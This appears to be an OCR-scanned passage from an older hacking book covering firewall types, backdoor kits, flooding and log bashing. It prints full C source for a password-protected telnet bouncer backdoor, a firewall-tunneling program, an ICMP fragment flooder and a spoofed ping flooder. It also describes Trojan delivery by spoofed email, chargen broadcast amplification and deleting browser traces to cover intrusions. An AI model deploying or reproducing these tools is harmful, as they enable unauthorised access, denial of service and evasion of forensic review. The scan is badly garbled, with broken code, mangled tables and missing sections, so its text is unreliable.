Backdoor kits branch into two distinct categories: active and passive. Active backdoors can be used by a hacker anytime he or she wishes; passive backdoor kits trigger themselves according to a predetermined time or system event. The type of backdoor a hacker selects is directly related to the security gateway architecture in place. Network security is commonly confined to the aforementioned impediments—firewalls, filters, and proxies. To simplify the options, there are two basic architectural categories, the packet filter and proxy firewall—each has an enhanced version.



Packet Filter



The packet filter is a host or router that checks each packet against a policy or rule before routing it to the destined network and/or node through the correct interface. Most common filter policies reject ICMP, UDP, and incoming SYN/ACK packets that initiate an inward session. Very simple types of these filters can filter only from the source host, destination host, and destination port. Advanced types can also base decisions on an incoming interface, source port, and even header flags. An example of this filter type is a simple router such as any Cisco series access router or even a UNIX station with a firewall daemon. If the router is configured to pass a particular protocol, external hosts can use that protocol to establish a direct connection to internal hosts. Most routers can be programmed to produce an audit log with features to generate alarms when hostile behavior is detected.



A problem with packet filters is that they are hard to manage; as rules become more complex, it's concomitantly easier to generate conflicting policies or to allow in unwanted packets. Hackers realize that these architectures are also known to have numerous security gaps. Regardless, packet filters do have their place, primarily as a first line of defense before a firewall. Currently, many firewalls have packet filters compiled with their kernel module or internetworking operating system (IOS).



Stateful Filter



A statefulfilter is an enhanced version of a packet filter, providing the same functionality as their predecessors while also keeping track of state information (such as TCP sequence numbers). Fundamentally, a stateful filter maintains information about connections. Examples include the Cisco PIX, Checkpoint FireWall-1, and Watchguard firewall.



The stateful process is defined as the analysis of data within the lowest levels of the protocol stack to compare the current session to previous ones, for the purpose of detecting suspicious activity. Unlike application-level gateways, stateful inspection uses specific rules defined by the user, and therefore does not rely on predefined application information. Stateful inspection also takes less processing power than application level analysis. On the downside, stateful inspection firewalls do not recognize specific applications, hence are unable to apply dissimilar rules to different applications.



Proxy Firewall



A proxy firewall host is simply a server with dual network interface cards (NICs) that has routing or packet forwarding deactivated, utilizing a proxy server daemon instead. For every application that requires passage through this gateway, software must be installed and running to proxy it through. A proxy server acts on behalf of one or more other servers; usually for screening, firewalling, caching, or a combination of these purposes.



The term gateway is often used as a synonym for proxy server. Typically, a proxy server is used within a company or enterprise to gather all Internet requests, forward them to Internet servers, receive the responses, and in turn, forward them to the original requestor within the company (using a proxy agent, which acts on behalf of a user, typically accepting a connection from a user and completing a connection with a remote host or service).



Application Proxy Gateway



An application proxy gateway is the enhanced version of a proxy firewall, and like the proxy firewall, for every application that should pass through the firewall, software must be installed and running to proxy it. The difference is that the application gateway contains integrated modules that check every request and response. For example, an outgoing file transfer protocol (FTP) stream may only download data. Application gateways look at data at the application layer of the protocol stack and serve as proxies for outside users, intercepting packets and forwarding them to the application. Thus, outside users never have a direct connection to anything beyond the firewall. The fact that the firewall looks at this application information means that it can distinguish among such things as FTP and SMTP. For that reason, the application gateway provides security for each application it supports.



Hackers Most vendor security architectures contain their own unique security breaches (see Note - Chapter 9 for more information).



Implementing a Backdoor Kit



Exploiting security breaches with backdoors, through firewall architectures, is not a simple task. Rather, it must be carefully planned to reach a successful completion. When implementing a backdoor kit, frequently, four actions take place:

Seizing a virtual connection. This involves hijacking a remote telnet session, a VPN tunnel, or a secure-ID session.

Planting an insider. This is a user, technician, or socially engineered (swindled) individual who installs the kit from the internal network. A much simpler and common version of this action involves spoofing email to an internal user with a remote-access Trojan attached.

Manipulating an internal vulnerability. Most networks offer some suite of services, whether it be email, domain name resolution, or Web server access in a demilitarized zone (DMZ; the zone in front of the firewall, often not completely protected by a firewall). An attack can be made on any one of those services with a good chance of gaining access. Consider the fact that many firewalls run daemons for mail relay.

Manipulating an external vulnerability. This involves penetrating through an external mail server, HTTP server daemon, and/or telnet service on an external boundary gateway. Most security policies are considered standard or incomplete (susceptible), thus making it possible to cause a buffer overflow or port flooding, at the very least.



Because these machines are generally monitored and checked regularly, a seasoned hacker will not attempt to put a backdoor on a machine directly connected to the firewall segment. Common targets are the internal local area network (LAN) nodes, which are usually unprotected and without regular administration.

Hacker's Statistics indicate that 7 out of 10 nodes with access to the Internet, in front of or Nater*J behind a firewall, have been exposed to some form of Trojan or backdoor kit. Hackers often randomly scan the Internet for these ports in search for a new victim.



Common Backdoor Methods in Use



This section describes common backdoor methods used in the basic architecture categories and their enhanced versions defined in the preceding sections.



Packet Filters



Routers and gateways acting as packet filters usually have one thing in common: the capability to telnet to and/or from this gateway for administration. A flavor of this so-called telnet-acker backdoor methodology is commonly applied to surpass these filters. This method is similar to a standard telnet daemon except it does not formulate the TCP handshake by using TCP ACK packets only. Because these packets look as though they belong to a previously established connection, they are permitted to pass through. The following is an example that can be modified for this type of backdoor routine:



telnet-acker.c

#include #include #include #include #include #include #include #include #include #include #include #include



























#define #define #define

QLEN

MY_PASS

SERV TCP PORT

5

"passme'

33333



/*"Telnet to address/port. Hit 1x [ENTER], password,"*/ /*"Host and port 23 for connection."*/



char sbuf[2048], cbuf[2048];

extern int errno;

extern char *sys_errlist[];

void reaper();

int main();

int main(argc, argv) int argc; char *argv[]; {

int srv_fd, rem_fd, rem_len, opt = 1; struct sockaddr_in rem_addr, srv_addr; bzero((char *) &rem_addr, sizeof(rem_addr)); bzero((char *) &srv_addr, sizeof(srv_addr)); srv_addr.sin_family = AF_INET;



srv_addr.sin_addr.s_addr = htonl(INADDR_ANY); srv_addr.sin_port = htons(SERV_TCP_PORT); srv_fd = socket(PF_INET, SOCK_STREAM, 0); if (bind(srv_fd, (struct sockaddr *) &srv_addr, sizeof(srv_addr)) == -1) { perror("bind"); exit( -1);

}

listen(srv_fd, QLEN); close(0); close(1); close(2);

#ifdef TIOCNOTTY

if ((rem_fd = open("/dev/tty", O_RDWR)) >= 0) {

ioctl(rem_fd, TIOCNOTTY, (char *)0);

close(rem_fd);

}

#endif

if (fork()) exit(0); while (1) {

rem_len = sizeof(rem_addr);

rem_fd=accept(srv_fd, (struct sockaddr *) &rem_addr, &rem_len); if (rem_fd < 0) {

if (errno == EINTR) continue;

exit(-1);

}

switch(fork()) { case 0:

close(srv_fd);

telcli(rem_fd);

close(rem_fd);

exit(0);

break; default:

close(rem_fd);

if (fork()) exit(0);

break; case -1:

fprintf(stderr, "\n\rfork: %s\n\r", sys_errlist[errno]); break;

void telcli(source)

int source;

{

int dest; int found;

struct sockaddr_in sa; struct hostent *hp; struct servent *sp;







char gethost[100]; char getport[100]; char string[100];



bzero(gethost, 100);

read(source, gethost, 100);
sprintf(string, "");

write(source, string, strlen(string));

read(source, gethost, 100);

gethost[(strlen(gethost)-2)] = '\0';/* kludge alert -kill the \r\n */

if (strcmp(gethost, MY_PASS) != 0) {

close(source);

exit(0);

}

do {

found = 0; bzero(gethost,100);

sprintf(string, "telnet bouncer ready. \n"); write(source, string, strlen(string)); sprintf(string, "Host: "); write(source, string, strlen(string)); read(source, gethost, 100); gethost[(strlen(gethost)-2)] = '\0'; hp = gethostbyname(gethost);

if (hp) {

found++;

#if !defined(h_addr) /* In 4.3, this is a #define */

#if defined(hpux) || defined(NeXT) || defined(ultrix) || defined(PO

SIX)

memcpy((caddr_t)&sa.sin_addr, hp->h_addr_list[0], hp->h_length); #else

bcopy(hp->h_addr_list[0], &sa.sin_addr, hp->h_length);

#endif

#else /* defined(h_addr) */

#if defined(hpux) || defined(NeXT) || defined(ultrix) || defined(PO SIX)

memcpy((caddr_t)&sa.sin_addr, hp->h_addr, hp->h_length);

#else

bcopy(hp->h_addr, &sa.sin_addr, hp->h_length);

#endif

#endif /* defined(h_addr) */ sprintf(string, "Found address for %s\n", hp->h_name); write(source, string, strlen(string)); } else {

if (inet_addr(gethost) == -1) { found = 0;

sprintf(string, "Didnt find address for %s\n", gethost); write(source, string, strlen(string)); } else { found++;

sa.sin_addr.s_addr = inet_addr(gethost);

}



}

} while (!found); sa.sin_family = AF_INET; sprintf(string, "Port: "); write(source, string, strlen(string)); read(source, getport, 100); gethost[(strlen(getport)-2)] = '\0'; sa.sin_port = htons((unsigned) atoi(getport)); if (sa.sin_port == 0) {

sp = getservbyname(getport, "tcp");

if (sp)

sa.sin_port = sp->s_port;

else {

sprintf(string, "%s: bad port number\n", getport);

write(source, string, strlen(string));

return;

}

}

sprintf(string, "Trying %s... \n", (char *) inet_ntoa(sa.sin_addr)); write(source, string, strlen(string)); if ((dest = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("telcli: socket"); exit(1);

}

connect(dest, (struct sockaddr *) &sa, sizeof(sa)); sprintf(string, "Connected to %s port %d... \n", inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));

write(source, string, strlen(string)); #ifdef FNDELAY

fcntl(source,F_SETFL,fcntl(source,F_GETFL,0)|FNDELAY);

fcntl(dest,F_SETFL,fcntl(dest,F_GETFL,0)|FNDELAY); #else

fcntl(source,F_SETFL,O_NDELAY); fcntl(dest,F_SETFL,O_NDELAY);

#endif

communicate(dest,source); close(dest);

exit(0);

communicate(sfd,cfd) {

char *chead, *ctail, *shead, *stail; int num, nfd, spos, cpos; extern int errno; fd_set rd, wr;

chead = ctail = cbuf; cpos = 0;

shead = stail = sbuf;





spos = 0;

while (1) {

FD_ZERO(&rd); FD_ZERO(&wr);

if (spos < sizeof(sbuf)-1) FD_SET(sfd, &rd);

if (ctail > chead) FD_SET(sfd, &wr);

if (cpos < sizeof(cbuf)-1) FD_SET(cfd, &rd);

if (stail > shead) FD_SET(cfd, &wr);

nfd = select(256, &rd, &wr, 0, 0);

if (nfd <= 0) continue;

if (FD_ISSET(sfd, &rd)) {

num=read(sfd,stail,sizeof(sbuf) -spos); if ((num==-1) && (errno != EWOULDBLOCK)) return; if (num==0) return; if (num>0) { spos += num; stail += num; if (!--nfd) continue;

}

}

if (FD_ISSET(cfd, &rd)) {

num=read(cfd,ctail,sizeof(cbuf) -cpos);

if ((num==-1) && (errno != EWOULDBLOCK)) return;

if (num==0) return;

if (num>0) {

cpos += num;

ctail += num;

if (!--nfd) continue;

}

}

if (FD_ISSET(sfd, &wr)) {

num=write(sfd,chead,ctail-chead);

if ((num==-1) && (errno != EWOULDBLOCK)) return; if (num>0) { chead += num; if (chead == ctail) { chead = ctail = cbuf; cpos = 0;

}

if (!--nfd) continue;

}

}

if (FD_ISSET(cfd, &wr)) {

num=write(cfd,shead,stail-shead);

if ((num==-1) && (errno != EWOULDBLOCK)) return; if (num>0) { shead += num; if (shead == stail) { shead = stail = sbuf; spos = 0;



}

if (!--nfd) continue;



}



}







Stateful Filters



Routers and gateways that employ this type of packet filter force a hacker to tunnel through or use programs that initiate the connection from the secure network to his or her own external Tiger Box (described in Part 6). An IP tunnel attack program is shown in the following excerpt:



fwtunnel.c

#include #include #include #include #include #include #include #include



















#define UDP #undef TCP

#define BUFSIZE 4096



void selectloop(int netfd, int tapfd); void usage(void);



char buffer[BUFSIZE];



main(int ac, char *av[]) {



int destport;

struct sockaddr_in destaddr;

struct hostent *ht;

int sock;

int daemon;

int netfd;

int tapfd;



/* check for a sane number of parameters */

if(ac != 3)

usage();



/* get port number, bail if atoi gives us 0 */ if((destport = atoi(av[2])) == 0)



usage();



/* check if we're a daemon or if we will connect. */ if(av[1][0] == '-')

daemon = 1; else

daemon = 0;



if(!daemon) {

/* resolve DNS */

if((ht = gethostbyname(av[1])) == NULL) {

switch(h_errno) {

case HOST_NOT_FOUND:

printf("%s: Unknown host\n", av[2]); break;

case NO_ADDRESS:

printf("%s: No IP address for hostname\n", av[2]); break; case NO_RECOVERY:

printf("%s: DNS Error\n", av[2]);

break; case TRY_AGAIN:

printf("%s: Try again (DNS Fuckup)\n", av[2]);

break; default:

printf("%s: Unknown DNS error\n", av[2]);

}

exit(0);

}



/* set up the destaddr struct */



destaddr.sin_port = htons(destport); destaddr.sin_family = AF_INET;

memcpy(&destaddr.sin_addr, ht->h_addr, ht->h_length);



}



#ifdef TCP

sock = socket(AF_INET, SOCK_STREAM, 0);

#endif



#ifdef UDP

sock = socket(AF_INET, SOCK_DGRAM, 0);

#endif



if(sock == -1) {

perror("socket");

printf("Opening network socket.\n"); if(!daemon) {

if(connect(sock, &destaddr, sizeof(struct sockaddr_in)) ==

-1) {

perror("connect");

exit(0);

}

netfd = sock;

}

else {

struct sockaddr_in listenaddr;

#ifdef UDP

struct sockaddr_in remote; #endif

int socklen;



listenaddr.sin_port = htons(destport); listenaddr.sin_family = AF_INET;

listenaddr.sin_addr.s_addr = inet_addr("0.0.0.0"); if(bind(sock, &listenaddr, sizeof(struct sockaddr_in)) ==

-1) {

perror("bind");

exit(0);

}



socklen = sizeof(struct sockaddr_in);



#ifdef TCP



if(listen(sock, 1) == -1) { perror("listen");

exit(0);

}



printf("Waiting for TCP connection... \n");



if((netfd = accept(sock, &listenaddr, &socklen)) == -1) { perror("accept");

exit(0);

}



#else /* TCP */ netfd = sock;



recvfrom(netfd, buffer, BUFSIZE, MSG_PEEK, &remote, &socklen);



connect(netfd, &remote, socklen);

/* right. now, we've got netfd set to something which we're going to be able to use to chat with the network. */



printf("Opening /dev/tap0 \n");



tapfd = open("/dev/tap0", O_RDWR); if(tapfd == -1) { perror("tapfd");

exit(0);

}

selectloop(netfd, tapfd); return 0;

}



void selectloop(int netfd, int tapfd) {



fd_set rfds; int maxfd; int len;



if(netfd > tapfd)

maxfd = netfd; else

maxfd = tapfd;



while(1) {



FD_ZERO(&rfds); FD_SET(netfd, &rfds); FD_SET(tapfd, &rfds);



if(select(maxfd+1, &rfds, NULL, NULL, NULL) == -1) { perror("select");

exit(0);

}



if(FD_ISSET(netfd, &rfds)) { FD_CLR(netfd, &rfds);



if((len = read(netfd, buffer, BUFSIZE)) < 1) { if(len == -1)

perror("read_netfd"); printf("netfd died, quitting\n"); close(tapfd);



exit(0);

}



printf("%d bytes from network\n", len); write(tapfd, buffer, len);

continue;





if(FD_ISSET(tapfd, &rfds)) { FD_CLR(tapfd, &rfds);

if((len = read(tapfd, buffer, BUFSIZE)) < 1) { if(len == -1)

perror("read_tapfd"); printf("tapfd died, quitting\n"); shutdown(netfd, 2); close(netfd); exit(0);

}



printf("%d bytes from interface\n", len);

write(netfd, buffer, len);

continue;

}



} /* end of looping */

}

void usage(void) {

printf("Wrong arguments.\n");

exit(0);

}

/* fwtunnel uses ethertrap to tunnel an addrress fwtunnel

the first argument is either the hostname to connect to, or, if you're the host which will be listening, a -.. obviously, the system inside the firewall gives the hostname, and the free syste

m

gives the -.



both sides must specify a port #... this should, clearly, be the same for both ends...

*/

/* for linux -­first, you'll need a kernel in the later 2.1 range.

in the "Networking Options" section, turn on:

"Kernel/User netlink socket"

and, just below,

"Netlink device emulation"

also, in the "Network device support" section, turn on: "Ethertap network tap"



if those are compiled in, your kernel is set. */



/* configuring the ethertap device —



first, the necessary /dev files need to exist, so run: mknod /dev/tap0 c 36 16



to get that to exist.



next, you have to ifconfig the ethertap device, so pick a subnet you're going to use for that. in this example, we're going to us

e

the network 192.168.1.0, with one side as 192.168.1.1, and the other as 192.168.1.2... so, you'll need to do:



ifconfig tap0 192.168.1.1(or .2) mtu 1200



2.1 kernels should create the needed route automatically, so that shouldn't be a problem.



*/



Another popular and simple means for bypassing stateful filters is invisible FTP (file winftp.exe). This daemon does not show anything when it runs, as it executes the FTP service listening on port 21, which can be connected to with any FTP client. The program is usually attached to spammed email and disguised as a joke. Upon execution, complete uploading and downloading control is active to any anonymous hacker.



Proxies and Application Gateways



Most companies with security policies allow internal users to browse Web pages. A rule of thumb from the Underground is to defeat a firewall by attacking the weakest proxy or port number. Hackers use a reverse HTTP shell to exploit this standard policy, allowing access back into the internal network through this connection stream. An example of this attack method in Perl is



A NOTE ON WORKSTATIONS

Typically masquerading as jokes, software downloads, and friendly email attachments, remote access backdoors leave most workstations extremely vulnerable. Whether at home, the office or in a data center, desktop systems can be easily infected with remote features including: full file transfer access, application control, system process control, desktop control, audio control, email spamming, and even monitor control. Backdoor kits such as Back Orifice and NetBus have garnered a great deal of media attention primarily because of their widespread distribution. Most memory, application, and disk scanners contain modules to help detect these daemons; nonetheless, there are hundreds of mutations and other remote access kits floating around and potentially secretly lurking on your system as you read this. Clearly, this is an area of ongoing concern.



Van Hauser's (President of the hacker's choice: thc.pimmel.com) rwwwshell-1.6.perl script.

354

Flooding



On a system whose network interface binds the TCP/IP protocol and/or connected to the Internet via dialup or direct connection, some or all network services can be rendered unavailable when an error message such as the following appears:



''Connection has been lost or reset."



This type of error message is frequently a symptom of a malicious penetration attack known as flooding. The previous example pertains to a SYN attack, whereby hackers can target an entire machine or a specific TCP service such as HTTP (port 80) Web service. The attack is focused on the TCP protocol used by all computers on the Internet; and though it is not specific to the Windows NT operating system, we will use this OS for the purposes of this discussion.



Recall the SYN-ACK (three-way) handshake described in Chapter 1: Basically, a TCP connection request (SYN) is sent to a target or destination computer for a communication request. The source IP address in the packet is "spoofed," or replaced with an address that is not in use on the Internet (it belongs to another computer). An attacker sends numerous TCP SYNs to tie up as many resources as possible on the target computer. Upon receiving the connection request, the target computer allocates resources to handle and track this new communication session, then responds with a "SYN-ACK." In



C:\>n&lslal -n -plcp







Acliwe Connections







Prolo Local Address


Foreign Address


State

TCP 172.29 44.16:1075


172.29.44.16:135


ESTABLISHED

TCP 17229.44.16:135


172.29.44.16:1075


ESTABLISHED



Figure 8.1 Revealing active connections with netstat.



this case, the response is sent to the spoofed or nonexistent IP address. As a result, no response is received to the SYN-ACK; therefore, a default-configured Windows NT 3.5x or 4.0 computer, will retransmit the SYN-ACK five times, doubling the time-out value after each retransmission. The initial time-out value is three seconds, so retries are attempted at 3, 6, 12, 24, and 48 seconds. After the last retransmission, 96 seconds are allowed to pass before the computer gives up waiting to receive a response and thus reallocates the resources that were set aside earlier. The total elapsed time that resources would be unavailable equates to approximately 189 seconds.



If you suspect that your computer is the target of a SYN attack, you can type the netstat command shown in Figure 8.1 at a command prompt to view active connections.



If a large number of connections are currently in the SYNRECEIVED state, the system may be under attack, shown in boldface in Figure 8.2.



A sniffer (described later) can be used to further troubleshoot the problem, and it may be necessary to contact the next tier ISP for assistance in tracking the attacker. For most stacks, there is a limit on the number of connections that may be in the SYNRECEIVED state; and once reached for a given

port,

Active Conned ions










Proto


Local Address


Foreign Address


State




TCP


172-29.44.16:30


192.29.27.254:1075


SYN


RECEIVED

TCP


172.29.44.16:30


192.29.27.254:1076


SYN


RECEIVED

TCP


172.29.44. 16180


192.29.27.254:1076


SYN


RECEIVED

TCP


172.29.44.16:80


192.29.27.254:1078


SYN


RECEIVED

TCP


172-29.44.16:80


192.29.27.254:1079


SYN


RECEIVED



Figure 8.2 Revealing active connections in the SYN-REC state.



the target system responds with a reset. This can render the system as infinitely occupied.



System configurations and security policies must be specifically modified for protection against such attacks. Statistics indicate that some 90 percent of nodes connected to the Internet are susceptible. An example of such a flooding mechanism is shown in echos.c (an echo flooder) shown here:



echos.c



#include

#include

#include

#include

#include

#include

#include

#include



#ifdef REALLY_RAW #define FIX(x) htons(x) #else

#define FIX(x) (x)

#endif



int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;



bzero(buf, sizeof buf);



if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { perror("socket"); exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))

{

perror("IP_HDRINCL"); exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostname\n", argv[0]); exit(1);



}

1) { 1]);

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -

fprintf(stderr, "%s: unknown host\n", argv[ }

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = FIX(sizeof buf); ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255; ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

ip->ip_src.s_addr = 0; /* kernel fills in */



dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET;



icmp->icmp_type = ICMP_ECHO; icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* the checksum of all 0's is easy to compute */



for (offset = 0; offset < 65536; offset += (sizeof buf -sizeof *ip)) {

ip->ip_off = FIX(offset >> 3); if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

else

ip-

>ip_len = FIX(418); /* make total 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto");

if (offset == 0) {

icmp->icmp_type = 0; icmp->icmp_code = 0; icmp->icmp_cksum = 0;

}

}

}





: Ping Floods*





A 1*1

IPe

#include

#include

#include

#include

#include

#include

#include

#include

#include



#define IPHDRSIZE sizeof(struct iphdr) #define ICMPHDRSIZE sizeof(struct icmphdr) #define VIRGIN "1.1"



void version(void) {

printf("flood %s - by FA-Q\n", VIRGIN);



void usage(const char *progname) {

printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] \n",progname);

unsigned char *dest_name;



unsigned char *spoof_name = NULL; struct sockaddr_in destaddr, spoofaddr; unsigned long dest_addr; unsigned long spoof_addr;

unsigned pingsize, pingsleep, pingnmbr;

char flood = 0;



unsigned short in_cksum(addr, len) u_short *addr; int len;

{

register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0;



while (nleft > 1) {

sum += *w++; nleft -= 2;

}



if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w ; sum += answer;

}



sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer);

}

int resolve( const char *name, struct sockaddr_in *addr, int port ) {

struct hostent *host;

bzero((char *)addr,sizeof(struct sockaddr_in));



if (( host = gethostbyname(name) ) == NULL ) { fprintf(stderr,"%s will not resolve\n",name); perror(""); return -1;

}



addr->sin_family = host->h_addrtype;

memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); addr->sin_port = htons(port);



return 0;

}



unsigned long addr_to_ulong(struct sockaddr_in *addr)

return addr->sin_addr.s_addr;

}



int resolve_one(const char *name, unsigned long *addr, const char * desc)

{

struct sockaddr_in tempaddr; if (resolve(name, &tempaddr,0) == -1) { printf("%s will not resolve\n",desc); return -1;

}

*addr = tempaddr.sin_addr.s_addr; return 0;





int resolve_all(const char *dest, const char *spoof) {

if (resolve_one(dest,&dest_addr,"dest address")) return -1; if (spoof!=NULL)

if (resolve_one(spoof,&spoof_addr,"spoof address")) return -

1;



spoofaddr.sin_addr.s_addr = spoof_addr;

spoofaddr.sin_family = AF_INET;
destaddr.sin_addr.s_addr = dest_addr;
destaddr.sin_family = AF_INET;

}

void give_info(void) {

printf("\nattacking (%s) from (%s) \n",inet_ntoa(spoof_addr),dest_name); }

int parse_args(int argc, char *argv[]) {

int opt;



char *endptr;

while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1) { switch(opt) {

case 'f': flood = 1; break;

case 'c': pingnmbr = strtoul(optarg,&endptr,10); if (*endptr != '\0') { printf("%s is an invalid number '%s'.\n", argv[0],

optarg);

return -1; }

break;

case 's': pingsize = strtoul(optarg,&endptr,10); if (*endptr != '\0') {

printf("%s is a bad packet size '%s'\n", argv[0], o

ptarg);

return -1; }

break;

case 'i': pingsleep = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is a bad wait time '%s' \n", argv[0],

optarg);

return -1;

}

break;

case 'V': version(); break; case '?':

case ':': return -1; break;

}



}



if (optind > argc-2) { return -1;

}



if (!pingsize)

pingsize = 28; else

pingsize = pingsize - 36 ;



if (!pingsleep) pingsleep = 100;



spoof_name = argv[optind++]; dest_name = argv[optind++]; return 0; }

inline int icmp_echo_send(int socket, unsigned long spoof_addr, unsigned long t_addr, unsigned pingsize) {

unsigned char packet[5122]; struct iphdr *ip; struct icmphdr *icmp; struct iphdr *origip;

unsigned char *data;



int i;

ip = (struct iphdr *)packet;



icmp = (struct icmphdr *)(packet+IPHDRSIZE); origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);

data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);



memset(packet, 0, 5122);



ip->version = 4;
ip->ihl = 5;

ip->ttl = 255-random()%15;

ip->protocol = IPPROTO_ICMP; ip-

>tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE +

8);



bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));

bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));

ip->check = in_cksum(packet,IPHDRSIZE);



origip->version = 4;
origip->ihl = 5;

origip->ttl = ip->ttl - random()%15;

origip->protocol = IPPROTO_TCP; origip->tot_len = IPHDRSIZE + 30;

origip->id = random()%69;



bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));



origip->check = in_cksum(origip,IPHDRSIZE);



*((unsigned int *)data) = htons(pingsize);

icmp->type = 8; /* why should this be 3? */ icmp ->code = 0;

icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8); return

sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,

(struct sockaddr *)&destaddr,sizeof(struct sockaddr));



}

void main(int argc, char *argv[]) {

int s, i; int floodloop; if (parse_args(argc,argv)) {

usage(argv[0]); return;

}

resolve_all(dest_name, spoof_name); give_info();

if (!flood)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) {

printf("%s error sending packet\n",argv[0]); perror(""); re

turn;

}

}

else {

floodloop = 0;

if ( pingnmbr && (pingnmbr > 0) ) {

printf("sending... packet limit set\n"); for (i=0;i<1;i)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) {

printf("%s error sending packet\n",argv[0]); perror(""); re

turn;

}

usleep(900);

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout); }

}

}

} }



Current flooding technologies include trace blocking such as in synflood.c by hacker guru Zakath. Under this attack, random IP spoofing is enabled instead of typing in a target source address. The process is simple: srcaddr is the IP address from which the packets will be spoofed; dstaddr is the target machine to which you are sending the packets; low and high ports are the ports to which you want to send the packets; O is used for random mode, for random IP spoofing. With this enabled, the source will result in the role of a random IP address as an alternative to a fixed address.



On the other side of the protocol stack, a UDP flooding mechanism (admired by the Underground) stages a Windows NT broadcast (a data packet forwarded to multiple hosts) attack with the custom UDP flooder,pepsi, shown in Figure 8.4. Broadcasts can occur at the data-link layer and the network layer. Data-link broadcasts are sent to all hosts attached to a particular physical network, as network layer broadcasts are sent to all hosts attached to a specific network.



In this exploit, NT responds to UDP segments sent to the broadcast address for a particular subnet. Briefly, this means that each NT machine on the network will respond to a UDP segment with the broadcast address. The response itself could cause considerable network congestion—a broadcast ''storm"—but consider this: what happens to a machine if the UDP segment, sent to the broadcast address, contains a forged source address of the target machine itself? Also imagine if the port to which the segment is sent happens

to be port 19 (the chargen service). The damage would be significant, as this service will pump out endless characters rotating the starting point.



Log Bashing



This section details the modus operandi of audit trail editing using log bashers and wipers, as well as track-editing mechanisms such as anti-keyloggers.

Hackers use audit trail editing to "cover their tracks" when accessing a system. Because most of these techniques can completely remove all presence of trespassing activity on a system, it is important to learn them to help determine which attributes to seek to avoid a cover-up.

Under normal circumstances, individuals may use keyloggers to track, for example, what their children are doing on the computer and viewing over the Internet, or to find out who is using the computer while they are away. In this case, keyloggers record keystrokes, and browsers keep extensive logs of online activity on the hard drive. Hackers use stealth keyloggers for the very same reasons, especially for gathering passwords and credit card numbers.

Hackers use log bashing to cover keystroke trails while employing simple procedures to destroy or disable specific files to prevent browsers from monitoring activity.

Covering Online Tracks

Stealth intruders usually delete the following files to hide traces of online activity left by Netscape:

/Netscape/Users/default/cookies.txt

/Netscape/Users/default/netscape.hst

/Netscape/Users/default/prefs.js

/Netscape/Users/default/Cache/*.*



Hackers usually can delete these files without any adverse complications; however, some Web sites (such as www.microsoft.com) may require intact cookies to perform certain features. These may have to be reestablished with a new cookie the next time the site is accessed. Note also that deleting the file prefs.js removes Netscape's drop-down list of URLs. It will also cause the loss of any default preference changes.



Unlike Netscape, Microsoft Explorer's cache, history, and cookie files cannot be written over and securely deleted in Windows because the files are usually in use. Given that Windows denies access to these files while they are in use, hackers batch executables for startup/shutdown editing and deletion. The target files include:

/Windows/Tempor~1/index.dat (temporary Internet files)

/Windows/Cookies/index.dat (cookies)

/Windows/History/index.dat (history of visited websites)

/win386.swp (swapfile)

As a failsafe, hackers also edit Internet Explorer's history of visited sites in the Registry at:

HKEY_CURRENT_USER/Software/Microsoft/InternetExplorer/TypedURLs

Another alternative hackers use to preserve Internet browsing privacy is to disable Explorer's cache, history, and cookie files, using this procedure:



1. Disable the IE4 cache folder:

In Internet Explorer, select View/Internet/Options/General.

In the Temporary Internet Files section, select Delete Files.

Select Windows Start/Shut Down, then Restart in MS-DOS mode.

At the command prompt, change the directory to /Windows/Tempor~1' (type cd window/tempor~1; or, from /Windows, type cd tempor~1).

Type dir; the dir command should return a listing of one file, called index.dat.

This file contains all the link files showing in /Windows/Temporary Internet Files. Now change the index.dat file to read-only with the following DOS command:



attrib +r index.dat



2. Disable the IE4 History folder:

In Internet Explorer, select View/Internet/ Options/General.

In the History section, change the value for "Days to keep pages in history" to 0.

Select the Clear History button to delete current folders.

Select Windows Start/Shut Down then Restart in MS-DOS mode.

At the command prompt, change the directory to /Windows/History' (type cd window/history; or, from /Windows type cd history).

Type dir; the dir command should return a listing of one file, called index.dat.

Change the index.dat file to read-only with the following DOS command:



attrib +r index.dat



